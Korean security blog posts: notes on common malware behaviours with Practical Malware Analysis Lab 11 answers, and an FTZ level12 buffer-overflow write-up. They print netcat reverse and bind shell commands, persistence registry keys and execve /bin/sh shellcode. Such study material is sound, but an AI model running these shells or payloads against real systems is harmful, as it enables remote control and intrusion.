no image
Malware Behavior ( 악성코드의 행위 특성 )
Downloaders and Launchers흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다. Backdoor백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또..
2015.08.20
no image
FTZ Level12 //BOF,RTL,EGG,Backdoor
문제확인이번 문제도 level11과 비슷한 문제로 풀 수가 있다. 일단 tmp로 파일을 복사하여 디버깅을 해보자. 이전 문제와 같이 0x108 만큼의 버퍼를 채우고 RET에 새로운 주소값을 채우면 된다. EGG Shell을 이용한 방법Egg쉘을 이용한 방법의 경우 아래와 같이 쉽다.Shell Code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"getaddr.c #include main(){char *p=getenv("EGG");printf("Address : %p\n",p);} RTL ( Return to Libc)을 이용한 방법RTL은 리턴 주소를 공유 라이브러..
2015.05.10

Downloaders and Launchers


흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.

실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다.


Backdoor


백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또는 코드를 다운로드할 필요가 없는 경우도 있다. 가장 일반적으론는 HTTP 프로토콜을 이용해 80번 포트로 통신을 하며 이는 가장 일반적인 네트워크 트래픽으로 악성코드는 자신의 트래픽을 정상적인 트래픽에 숨길 수 있다는 이점을 얻는다.

Windows Reverse Shell

공격자는 cmd.exe를 이용해 윈도우에서 두 가지 간단한 악성코드 코딩방법을 사용한다. 기본적인 방법은 제작하기가 쉽고 멀티스레드 기법만큼 잘 작동 때문에 악성코드 제작자 사이에 인기가 있다. CreateProcess에 대한 호출과 CreateProcess로 전달되는 STARTUPINFO 구조체의 조작이 사용된다. 우선 소켓을 생성한 후 원격 서버에 대한 연결을 수행하며, 해당 소켓은 cmd.exe의 표준 스트림으로 연결된다. CreateProcess는 희생자에게 들키지 않게 윈도우를 숨긴채 cmd.exe를 실행한다.

멀티스레드 버전의 윈도우 리버스 셸은 소켓, 파이프 2개, 스레드 2개를 생성한다. 악성코드 제작자는 종종 이 방법을 이용해 소켓을 통해 주고받는 데이터를 조작하거나 인코딩한다. CreatePipe는 stdin과 stdout 같은 파이프의 끝을 함께 읽고 쓸 수 있게 연결하는데 사용하며 CreateProcess 메소드는 표준 스트림을 직접 소켓에 연결하기보다는 파이프에 연결할 때 사용한다. CreateProcess가 호출된 후 악성코드는 스레드 2개를 생성한다. 일반적으로 이들 스레드는 데이터 인코딩을 통해 데이터를 조작한다.

Netcat Reverse Shell

공격자는 넷캑이나 또는 다른 악성코드에 포함돼 있는 넷켓 패키지를 사용하는 것으로 알려져 있다. 넷캣을 리버스 쉘로 사용할 때는 다음과 같이 원격 머신은 들어오는 접속을 대기해야 한다.     nc -l -p 80   -l 옵션은 넷캣을 리스닝 모드로 설정하고, -p는 리스닝할 포트를 설정할 때 사용한다. 

다음 명령을 이용해 희생자의 머신에서 외부로 접속해 쉘을 전달한다.nc ip 80 -e cmd.exe

Backdoor Shell

<Server> nc -e /bin/sh(or cmd.exe) -l -p 1234         <Client>  telnet IP_Address 1234

이 경우 Client의 입장에서 Server측의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Server와 같이 설정하여 실행하면 Target PC를 컨트롤 할 수 있다. 또한 한가지 더 생각하면 서버측에서는 IP에 대한 입력이 필요가 없으므로 서버측의 IP만 알면 어느 PC에서든지 이에 접속할 수가 있다. 이

Reverse Shell

<Server> nc -l -p 1234   or nc -n -v -l -p 1234        <Client>  nc -e /bin/sh(or cmd.exe) IP_Address 1234

이 경우 Server의 입장에서 Client의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Client와 같이 설정하여 실행한다. 공격자가 서버의 입장이므로 타겟 PC는 따로 어떠한 설정 없이 연결이 된다.

*위의 두 상황 모두 명령어 실행이 안될 경우 뒤에 ' ; ' 세미콜론을 붙여야 실행되는 경우도 있다. 그러므로 일반적인 명령어를 실행해보고 작동하지 않는다면 세미콜론을 붙여보자.

RAT

Remote Administration Tool(원격 관리도구)는 원격에 있는 컴퓨터들을 관리할 때 사용한다. RAT는 정보를 훔치거나 정보를 다른 네트워크로 이동시크는 것과 같은 특정 목적을 가진 표적 공격에 사용한다. 

아래의 그림은 RAT의 네트워크 구조에 대하여 설명된 것이다. 서버는 악성코드에 감염된 피해 호스트에서 실행된다. 클라이언트는 공격자가 조종하는 명령 및 통제 유닛으로, 원격에서 실행된다. 서버는 연결을 위해 클라이언트에 신호를 전달하면 클라이언트가 서버를 통제한다. RAT 통신은 일반적으로 80, 443 같은 일반 포트를 통해 이루어진다.

Botnets

봇넷은 좀비로 알려진 침해 호스트의 집합으로, 일반적으로 봇넷 컨트롤러로 알려진 서버를 통해 단일 엔티티에 의해 통제된다. 봇넷의 목표는 추가 악성코드, 스팸을 전파하거나 DDoS 공격을 수행할 수 있는 큰 좀비 네트워크를 구성하기 위해 최대한 많은 호스트를 침해하는 것이다. 봇넷은 동시에 다수의 좀비 호스트가 웹사이트를 요청하게 함으로써 웹사이트를 다운시킬 수 있다.

RAT와 Botnet 비교 

· 봇넷은 다수의 호스트를 감염시키고 통제하는 것으로 알려졌으며, RAT는 일반적으로 더 작은 규모의 호스트를 통제한다.

· 모든 봇넷은 한번에 통제되는데 반해 RAT는 피해 호스트별로 통제된다. 이는 RAT의 경우 공격자가 개별 호스트에 대해 좀 더 많은 관심을 갖고 있기 때문이다.

· RAT는 표적 공격에 사용되는데 반해 봇넷은 대량 공격에 사용된다.


Credential Stealers


공격자는 인증정보를 훔치기 위해 노력을 아끼지 않으며, 이런 종류의 악성코드는 크게 3가지 유형이 있다.
GINA Interception
MS의 GINA( Graphical Identification and Authentication ) Interception은 윈도우 XP에서 악성코드가 사용자 인증정보를 훔치기 위해 사용하는 기법이다. GINA 시스템은 하드웨어 RFID나 스마트카드 같은 인증을 지원함으로써 인증된 서드파티가 로그온 프로세스를 최적화할 수 있게 한다. 멀웨어 코더는 자신들의 인증정보를 탈취기의 로딩을 위해 이 서드파티 지원을 악용한다. 
GINA는 DLL(msgina.dll)로 구현돼 있으며, 로그인 과정에서 Winlogon 실행파일이 GINA를 로딩한다. Winlogon은 Winlogon과 GINA DLL 사이의 서드파티 DLL을 로딩해 DLL에 포함된 서드파티 최적화를 수행한다. 윈도우는 Winlogon에서 로드할 서드파티 DLL을 찾을 수 이게 다음 레지스트리 위치를 편리하게 제공한다.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL"

Hash Dumping

윈도우 해시 덤프는 악성코드가 시스템 인증정보에 접근하기 위해 사용하는 대중적인 방법이다. 해시전달 공격( Pass the hash attack )은 로그인에 필요한 평문 패스워드를 획득하기 위해 해시를 해독하거나 크랙할 필요 없이 LM과 NTLM 해시를 사용해 NTLM 인증을 사용하는 원격 호스트를 인증한다.

pwdump와 Pass-the_Hash(PSH) 툴킷은 해시 덤프를 전송하는데 자유롭게 사용할 수 있는 패키지이다. pwdump는 보안계정관리자(SAM)에서 로컬 사용자 계정의 LM과 NTLM 패스워드 해시를 출력하는 프로그램이다. 표준 pwdump는 lsaext.dll을 사용하며 lsass.exe 내부에서 실행되면 pwdump는 해시추출을 수행하기 위해 lsaext.dll에서 Export된 GetHash를 호출한다. 시스템의 사용자를 열거하고, 각 사용자의 암호화되지 않은 형태의 패스워드 해시를 얻기 위해 비공식적인 윈도우 함수를 사용한다.

여기서 멀웨어 코더들은 이를 변형시켜 GetHash와 같은 Export 이름을 변경할 수가 있다. 그렇기에 Export에서 사용하는 API 함수를 살펴봐야한다. 이 함수 대부분은 동적으로 해석되기 때문에 해시 덤프 익스포트는 빈번하게 GetProcAddress를 호출한다.


Keystroke Logging

키로깅은 인증정보 탈취의 전형적인 유형중 하나이다. 키로깅을하면 공격자가 계정명과 패스워드 같은 타이핑된 데이터를 관찰할 수 있게 악성코드는 키 스트로크를 기록한다.

커널 기반 키로거

커널 기반 키로거는 사용자 모드 애플리케이션을 이용해 탐지하기가 어렵다. 루트킷의 일부로 자주 사용되며, 키 스트로크를 캡처하기 위해 키보드 드라이버처럼 가장하거나 사용자 공간 프로그램과 보호장치를 우회한다.

사용자 공간 키로거

일반적으로 윈도우 API를 이용하며, 대부분 후킹이나 폴링을 이용해 구현한다. 후킹 방식은 입력될 때마다 악성코드에 알리기 위해 윈도우 API(SetWindowsHookEx 함수)를 사용한다. 폴링 방식은 계속적인 키 상태 기록을 위해 윈도우 API( GetAsyncKeyState와 GetForegroundWindows 함수)를 사용한다

후킹 키로거는 후킹 기능을 실행하는 실행 파일로 패키징될 수 있으며, 시스템에서 다수의 프로세스에 매핑해 자동으로 로깅할 수 있는 DLL 파일을 포함할 수도 있다.

폴링 방식의 키로거는 GetAsyncKeyState 함수가 키가 눌려졌는지 여부를 인식한 후 가장 최근의 GetAsyncKeyState 호출 이후 해당 키가 눌렸는지를 인식한다. 그 외에 주로 사용되는 함수인 GetForegroundWindows 함수는 어떤 어플리케이션이 키보드 엔트리를 위해 사용되는지를 키로거에게 알려주기 위해 현재 사용중인 윈도우를 파악한다.


Persistence Mechanisms


악성코드가 한 번 시스템의 권한을 획득하면 악성코드는 해당 시스템에 오랜 기간 상주하길 원한다. 이런 행위를 지속이라고 부른다. 그리고 이러한 지속 메커니즘의 방법으로 시스템의 레지스트리 조작과 바이너리를 트로이목마화 시키는 방법, 마지막으로는 레지스트리나 파일의 조작없이 지속을 유지하는 방법으로 DLL 로더 하이재킹이 있다.

The Windows Registry

악성코드가 설정 정보를 저장하고 시스템의 정보를 수집하고 지속적으로 자신을 설치하기 위해 레지스트리에 접근하는 것이 일반적이다. 이에 자주 사용되는 레지스트리 키가 있는데 다음과 같다.

AutoRun

" HKEY_LOCAL_MACHINE\SOFTWARE\Miicrosoft\Windows\CurrentVersion\Run "

이를 확인하는 방법으로 직접 regedit를 통해 찾거나 cmd를 통하여  cmd> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s 와 같이 입력을 하여 확인할 수가 있다.

Applnit_DLLs

악성코드 제작자는 AppInit_DLLs라고 불리는 특별 레지스트리 경로를 통해 자신들의 DLL이 지속적으로 유지되게 할 수 있다. 이 레지스트리는 User32.dll을 로드하는 모든 프로세스에서 로딩하며, 레지스트리에 단순히 추가함으로써 AppInit_Dlls 지속이 가능하게 할 수 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"

대부분의 프로세스는 User32.dll을 로드하며, 이 프로세스 대부분이 AppInit_DLLs도 로드한다. 그렇기에 악성코드 제작자는 일반적으로 개별 프로세스를 목표로 설정하여도 다수의 프로세스에서 로드되므로 악성코드의 페이로드를 실행하기 전에 어떤 프로세스가 DLL을 실행하고 있는지를 확인해야 한다. 이런 확인은 악의적인DLL의 DllMain에서 흔히 수행된다.

Winlogon 알림

멀웨어 코더들은 악성코드가 logon, logoff, startup, shutdown, lock screen 같은 특정 Winlogon 이벤트를 후킹하게 할 수 있다. 이를 통해 심지어 보호 모드에서 악성코드가 로드되게 할 수 있다. 해당 레지스트리 엔트리는 다음 레지스트리키의 Notify 값으로 구성돼 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"

winlogon.exe가 이벤트를 생성할 때 윈도우는 해당 이벤트를 처리할 DLL을 Notify 레지스트리 키에서 확인한다.


SvcHost DLL

모든 서비스는 레지스트리에서 유지되고, 레지스트리에서 삭제되면 해당 서비스는 시작되지 않는다. 악성코드는 종종 윈도우 서비스로 설치되지만, 일반적으로는 실행파일을 사용한다. 악성코드 유지를 위해 svchost.exe에 설치하면 독립형과는 달리 프로세스 목록과 레지스트리를 숨길 수 있다.

svchost.exe는 서비스를 위해 DLL로 실행되는 일반 호스트 프로세스이며, 윈도우 시스템에는 한번에 다수의 svchost.exe가 존재한다. svchost.exe 개별 객체는 개발과 테스트, 서비스 그룹 관리를 쉽게 할 수 있는 서비스 그룹을 포함한다. 해당 그룹은 다음 레지스트리 위치에 정의돼 있다.

""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"


서비스는 레지스트리의 다음 위치에 정의돼 있다.

"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName"


윈도우 서비스는 다수의 레지스트리 값을 갖고 있으며, 대다수는 DisplayName과 Description 같은 정보를 포함한다. 악성코드 제작자는 NetWareMan 같이 악성코드를 숨기는데 도움이 되는 값을 설정하기도 한다. 다른 서비스 레지스트리로는 서비스 실행 파일의 위치를 포함하는 ImagePath가 존재한다. svchost.exe DLL는 %Root%\System32\svchost.exe -k GroupName을 담고 있다.

모든 svchost.exe DLL은 ServiceDLL 값을 가진 parameters 키를 가지며, 악성코드 제작자는 악의적인 DLL의 위치를 여기에 설정한다. Parameters 키 아래에 있는 Start 값은 서비스가 언제 시작할지를 결정한다.(악의적인 코드는 일반적으로 시스템이 부팅하는 중에 실행이 되게 설정돼 있다.)

윈도우는 사전 정의된 서비스 그룹을 갖고 있으며, 새로운 그룹을 생성할 경우 쉽게 탐지가 가능하므로 악성코드는 일반적으로 이미 존재하는 그룹에 추가하거나 자주 쓰지않은 서비스를 덮어 쓴다.

Trojanized System Binaries

악성코드를 지속적으로 유지할 수 있는 다른 방법은 시스템 바이너리를 트로이목마화 하는 것이다. 이 기법을 이용해 다음번에 감염된 바이너리가 실행되거나 로드될 때 악성코드가 실행되게 시스템 바이너리의 바이트를 패치한다. 

일반적으로 시스템 바이너리의 엔트리 함수를 패치해 악성코드로 점프하게 조작한다. 악의적인 코드는 실행에 지장이 없게 일부 코드를 덮어 씌우거나 빈 섹션에 추가되므로 삽입된 코드는 일반적으로 악성코드를 로딩하며, 감염된 DLL의 어디에 추가되더라도 정상 동작한다. 해당 코드의 끝에는 정상동작하도록 원래의 코드로 다시 점프한다.

위의 그림은 정상적인 프로그램에 EP를 직접 추가한 부분의 지점으로 변경한 것이다. 이렇게 수정을 한후 코드의 마지막에는 OEP로 점프하도록 하였다. 이 경우 실행에는 아무 이상이 없다. 즉, 다른 악성코드를 넣은 상태에서 정상적인 파일인 것처럼 작동할 수 있다는 것이다.

DLL Load-order Hijacking

DLL 로딩 순서 하이재킹(DLL 하이재킹)은 악서오드 제작자가 레지스트리 수정이나 바이너리를 조작하지 않고 지속적이고 악의적인 DLL을 만들 수 있게 해주는 간단하면서도 은밀한 기법이다. 심지어 이 기법은 윈도우에서 Dll을 로딩할 때와 같이 별도의 악의적인로더를 필요로 하지 않는다.

윈도우 XP에서 DLL을 로딩하기 위한 기본 검색 순서는 다음과 같다.

1. 애플리케이션을 로딩하는 디렉터리

2. 현재 디렉터리

3. 시스템 디렉터리(\Windows\System32와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

4. 16비트 시스템 디렉터리 (...\Windows\System\과 같은)

5. 윈도우 디렉터리(\Windows\와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

6. PATH 환경 변수에 나열돼 있는 디렉터리

윈도우 XP 이후에는 KnownDLLs 레지스트리 키를 활용하기 때문에 DLL 로딩과정이 생략될 수 있다. KnownDLLs 메커니즘은 보안과 속도를 개선하기 위해 디자인 됐지만, 매우 중요한 DLL 목록만을 제한적으로 담을 수 있다. /System32 디렉터리를 제외한 다른 디렉터리에서 DLL 로딩순서 하이재킹을 할 수 있다. 

아래에 실습을 해보자면 원래의 GEncoder.exe가 import 하는 여러 dll 중에 version.dll이 존재한다. 이 dll이 해당 폴더에 존재하지 않으므로 이는 다른 순서를 통하여 해당 dll을 찾아 로딩되도록 한다.

하지만 아래와 같이 해당 dll을 해당 프로그램이 있는 위치에 만들어 놓는다면 우선 순위에 있는 현재 디렉터리 내에서 먼저 해당 dll을 찾는다. 그렇기에 아래와 같이 해당 dll이 로딩되어 실행이 되었고 이는 원래의 dll에 비하여 아무 내용도 없기에 바로 종료가 된다. 만약 본래의 dll에 악성코드만을 삽입한다면 아래와 같이 그 해당 악의적인 dll이 실행될 것이다.

이렇게 해당 순서에 맞게 해당 DLL을 찾게 되는데 우선 순위에 있는 같은 이름의 다른 dll이 정상적인 Dll인것 처럼 로딩 된다. 이후 악의적인 dll은 시스템의 정상 실행을 위해 원래의 dll을 로딩하도록 한다. 또한 아래와 같이 DLL 하이재킹은 현재에도 나오고 있는 취약점이다.


Privilege Escalation


사용자 대부분은 로컬 관리자로서 실행하며 이는 멀웨어 코더에게 좋은 환경이 된다. 이는 다시 말해 시스템의 관리자 권한을 갖고 있으며, 악성코드가 동일한 권한을 받을 수 있음을 의미 한다. 하지만 사용자가 시스템에서 악성코드를 실행했을 때 관리자 권한을 갖고 있지 않은 경우 악성코드는 일반적으로 모든 권한을 획득하기 위해 권한상을 시도한다.

권한 상승 공격의 주류는 로컬 운영체제에 대한 Exploit 이나 Zero-day 공격으로 알려져있으며, 다수를 메타스플로잇 프레임워크에서 찾을 수 있다. 또한 위에서의 DLL 하이재킹도 권한 상승에 사용할 수 있다. 악의적인 DLL이 위치하는 디렉터리에 대해 사용자가 쓰기 권한이 있고 DLL을 로딩하는 프로세스가 상위 권한으로 실행된다면 악의적인 DLL은 상위 권한을 획득할 수 있다.

Using SeDebugPrivilege

사용자가 실행하는 프로세스는 모든 것에 자유롭게 접근하지 못한다. 예를 들면 원격 프로세스의 TerminateProcess나 CreateRemoteThread 같은 함수를 호출하지 못한다. 악성코드가 이런 함수에 대한 권한을 획득하는 한 방법으로 접근 토큰의 권한에서 SeDebugPrivileage를 활성화한다. 소유자의 접근 권한을 설정하기 위해 보안 설명자(security descriptor)를 사용하며  AdjustTokenPrivileage를 호출해 접근 토큰을 조정할 수 있다.

원래 SeDebugPrivilege 권한은 시스템 레벨의 디버깅을 위한 도구로 만들어졌지만, 악성코드 제작자는 시스템 레벨 프로세스의 모든 권한을 얻기 위해 악용한다.


Covering It's Tracks - User Mode Rootkits


악의적인 행위를 숨기기 위해 사용되는 가장 일반적인 도구는 루트킷이라고 불린다. 루트킷은 다양한 형태를 가질 수 있지만, 대부분은 운영체제의 내부 기능 조작을 통해 동작한다. 일부 루트킷이 사용자 공간 애플리케이션을 조작하기도 하지만, 대부분의 루트킷은 커널을 조작한다. 침입 방지 시스템과 같은 보호 메커니즘이 커널에 설치돼 실행되기 때문이다. 여기선 사용자 레벨에서 후킹하는 방법을 알아보자.

IAT Hooking

IAT 후킹은 로컬 시스템에서 파일, 프로세스, 또는 네트워크 연결을 은닉하는 방법이다. Import Address Table 또는 Export Address Table을 조작한다.

Inline Hooking

인라인 후킹은 임포트된 DLL에 포함된 API 함수 코드를 덮어쓰므로, DLL이 실행을 위해 로딩될 떄까지 기다려야 한다. IAT 후킹은 단순히 포인터만 변경하지만, 인라인 후킹은 실제 함수 코드를 변경한다. 인라인 후킹을 하는 악의적인 루트킷은 정상적인 코드의 시작을 루트킷의 악의적인 코드 실행을 위한 점프하는 코드로 변경한다. 다른 방법으로는 악의적인 코드로 점프하지 않고 원래 코드의 함수를 훼손하거나 변경한다.


Conclusion


여기선 악성코드의 일반적인 능력 일부를 살짝 살펴봤다. 다른 종류의 백도어로 시작해서 악성코드가 인증정보를 훔치는 방법을 살펴봤다. 다음으로 악성 코드가 시스템에서 지속성을 유지하는 여러 가지 방법을 살펴봤다. 마지막으로는 악성코드가 쉽게 탐지되지 안게 자신의 흔적을 감추는 방법을 알아봤다. 이렇게 가장 일반 적인 악성코드의 행위 특성을 살펴봤다. 


참고

http://blog.daum.net/sysnet924/246

http://devanix.tistory.com/307

http://docs.kali.org/downloading/kali-linux-live-usb-persistence

한빛아카데미, 시스템 해킹과 보안, 양대일

https://www.youtube.com/watch?v=4EgYRxeFxbY

http://blog.turbovaccine.com/41

http://www.everyzone.com/service/boancommunication.asp?process_type=view&b_idx=-65&part=&BBS_id=boancommu&page=7&gubun=&keyword=&keyfield=



Lab11-01


1. 악성코드는 무엇을 디스크에 다운로드하는가?

리소스 섹션에 있던 msgina32.dll을 분리한다.


2. 악성코드는 어떻게 지속성을 유지한느가?

Software\Microsoft\Windows NT\CurrentVersion\Winlogon 레지스터에 등록하므로 지속성을 유지시킨다.


3. 악성코드는 어떻게 사용자의 인증정보를 훔치는가?

gina32.dll


4. 악성코드는 훔친 인증정보를 가지고 무엇을 하는가?

??


5. 테스트 환경에서 사용자 인증정보를 얻기 위해 악성코드를 어떻게 사용했는가?



"GinaDLL"="C:\\Documents and Settings\\Administrator\\Desktop\\PracticalMalwareAnalysis-Labs\\Practical Malware Analysis Labs\\BinaryCollection\\Chapter_11L\\msgina32.dll"

Resource Section의 숨겨져 있는 msgina32.dll을 생성


CreateReg,SetReg

CreateFile

LoadLibrary를 통해 resourse 섹션의 dll을 로딩함

MSgina.dll
msutil32.sys
GinaDLL


Lab11-02


Lab11-02.dll에 있는 악성코드를 분석하자. Lab11-02.ini 라는 의심 파일 역시 이 악성코드와 함께 발견됐다고 가정한다.

1. 이 DLL 악성코드에서는 무엇을 Export하는가?

installer

2. rundll32.exe를 이용해 이 악성코드를 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?



3. 악성코드 올바르게 설치하기 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?

C:\Windows\System32\Lab11-02.ini가 위치해야함


4. 이 악성코드는 어떻게 지속성을 유지하는가?

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 

"AppInit_DLLs"="" 

"AppInit_DLLs"="spoolvxx32.dll" 


5. What user-space rootkit technique does this malware employ?

send >> inlinehook


6. 후킹 코드는 무엇을 하는가?


7. 이 악성코드는 어떤 프로세스를 공격하며, 그 이유는 무엇인가?

실행시키는 파일 or OllyDBG을 공격하는것 같다.


8. .ini 파일의 역할은 무엇인가?

디코딩하여 billy@malwareanalysisbook 라는 단어를 추출할 수가 있다.


9. WireShark를 이용해 어떻게 악성코드의 활동을 동적으로 캡처하는가?


CreateToolhelp32Snapshot

RegSetValue

CreateFile, ReadFile, CopyFile

000000003110   000010003110      0   spoolvxx32.dll

0000000030CC   0000100030CC     0   wsock32.dll

000000003130   000010003130       0   AppInit_DLLs
0000000030D8   0000100030D8       0   SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
00000000307C   00001000307C       0   THEBAT.EXE
000000003094    000010003094      0   OUTLOOK.EXE
0000000030AC   0000100030AC      0   MSIMN.EXE



Lab11-03


Lab11-03.exe와 Lab11-03.dll에서 발견되는 악성코드를 분석하자. 분석하는 동안 2개의 파일이 동일한 디렉터리에 있어야 함을 명심하자.

1. 기본 정적분석을 통해 발견할 수 있는 재미있는 분석 단서는 무엇인가?



2. 이 악성코드를 실행하면 어떤일이 일어나는가?

\SYSTEM\ControlSet001\Services\CiSvc\Enum       \SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 

\SYSTEM\ControlSet001\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 

\SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 
  
변화된 값
\SOFTWARE\Classes\Microsoft Internet Mail Message] 
@="Outlook Express Mail Message" 
@="Internet E-Mail Message" 

\SOFTWARE\Classes\Microsoft Internet News Message] 
@="Outlook Express News Message" 
@="Internet News Message" 

System32 폴더에 inet_epar32.dll와 kernel64x.dll를 생성

* 키로깅이 시작된다.


3. Lab11-03.exe은 Lab11-03.dll을 어떻게 영구적으로 설치하는가?

net start cisvc 서비스로 등록하여 유지를 한다.?



4. 악성코드는 어떤 윈도우 시스템 파일을 감염시키는가?

%System32%cisvc.exe


5. Lab11-03.dll은 무엇을 하는가?

뮤텍스를 체크하고 없을 경우 CreateFile 하고 SetFilePointer , 그리고 Keyevent가 있으면 WriteFile이므로 이 dll이 아마 다른곳으로 복사가 되는 것 같다.

폴링방식의 키로거



6. 악성코드는 수집한 데이터를 어디에 저장하는가?

%System32%kernel64x.dll 에 저장한다.


<DLL>

Dll Export : zzz69806582

000000007C91   000010007C91      0   zzz69806582

00000000804C   00001000804C      0   C:\WINDOWS\System32\kernel64x.dll
000000008038   000010008038      0   <SHIFT>     Shit라는 문자열이 있다는건 이 키가 어디에 사용이 된다? 혹은 사용을 감지해야한다.
000000007C82   000010007C82      0   Lab1103dll.dll
000000007554   000010007554      0   dddd, MMMM dd, yyyy
00000000754C   00001000754C      0   H:mm:ss
000000007C06   000010007C06      0   LoadLibraryA
0000000071A4   0000100071A4      0   runtime error 
0000000071B8   0000100071B8      0   TLOSS error
0000000071C8   0000100071C8      0   SING error
0000000071D8   0000100071D8      0   DOMAIN error
00000000745C   00001000745C      0   Runtime Error!
00000000746C   00001000746C      0   Program: 
000000007830   000010007830      0   CreateMutexA
000000007840   000010007840      0   OpenMutexA


<EXE>
0000000091B8   0000004091B8      0   C:\WINDOWS\System32\inet_epar32.dll
000000009184   000000409184      0   C:\WINDOWS\System32\%s
00000000919C   00000040919C      0   cisvc.exe
000000009174   000000409174      0   net start cisvc   서비스를 실행
0000000086E4   0000004086E4      0   CopyFileA       해당 dll을 다른 곳으로 복사를 한다. 예상으로는 inet_epar32.dll로 예상
0000000086D6   0000004086D6      0   CreateFileA     특정 파일의 존재여부를 확인
00000000821C   00000040821C      0   DOMAIN error
00000000820C   00000040820C      0   SING error
0000000081FC   0000004081FC      0   TLOSS error
0000000081E8   0000004081E8      0   runtime error 
0000000080F0   0000004080F0      0   command.com
0000000080E8   0000004080E8      0   cmd.exe
000000008100   000000408100      0   COMSPEC














'Reversing > Theory' 카테고리의 다른 글

데이터 인코딩  (0) 2015.08.26
위장 악성코드 실행  (1) 2015.08.24
Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17
Practical Malware Analysis - 1  (0) 2015.07.31
x86 Instruction Set Reference  (0) 2015.07.29

문제확인


이번 문제도 level11과 비슷한 문제로 풀 수가 있다. 일단 tmp로 파일을 복사하여 디버깅을 해보자.


이전 문제와 같이 0x108 만큼의 버퍼를 채우고 RET에 새로운 주소값을 채우면 된다.




EGG Shell을 이용한 방법


Egg쉘을 이용한 방법의 경우 아래와 같이 쉽다.

Shell Code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

getaddr.c

#include <stdio.h>

main(){

char *p=getenv("EGG");

printf("Address : %p\n",p);}




RTL ( Return to Libc)을 이용한 방법


RTL은 리턴 주소를 공유 라이브러리 함수의 주소로 적어 해당 함수를 실행시키는 방법이다. 스택의 구조에서 system()함수를 ret에 덮어 씀으로 인하여 프로세스가 종료되고 리턴할 때 system()함수로 가게 된다. 그리고 system()함수가 끝나게 되면 그 다음 4바이트가 리턴주소이기 떄문에 정상적으로 종료될 수 있게 하기 위하여 exit()를 붙여준다.

system()는 쉘을 실행할수가 있고 인자로 /bin/sh를 넣어주면 된다.

결국 ----str[256]-dummy[8]-SFP[4]-RET[4]    >>> ---A[256]-A[8]-A[4]-System()[4]-exit()[4]-"/bin/sh"[4]로 덮어준다고 볼 수 있다.

아래에는 system() 의 안에 있는 /bin/sh 문자열의 주소를 구하는 코드이다.




Cat을 붙이는 이유


Pipe( | ) 사용시 왼쪽 프로그램의 stdout이 오른쪽 프로그램의 stdin으로 들어가게 되는데 python 이 실행되고 종료되면서 pipe broken 오류로 인하여 종료가 일어난다 따라서 사용자의 입력을 출력해주는 cat이나 te를 이용하여 stdin을 유지 시켜야한다.

<분명히 캡쳐를 한 것인데, 출처를 잊어버렸..>


BackDoor 생성


위의 방법들을 통하여 쉘을 얻은 후에 추가적으로 입력을 해주면 아래와 같이 Backdoor를 생성 할 수가 있다.


참고

http://smleenull.tistory.com/276          //RTL

http://peonix120.tistory.com/3            //RTL


'Hacking > System Hacking' 카테고리의 다른 글

FTZ Level15 //Hard Coding, EGG  (2) 2015.05.21
FTZ Level14 //Distance  (0) 2015.05.17
FTZ Level13 //RTL, EGG  (0) 2015.05.13
FTZ Level11 //BOF,EGG,Format String  (0) 2015.05.09
#25 Bytes Shell Code  (0) 2015.05.07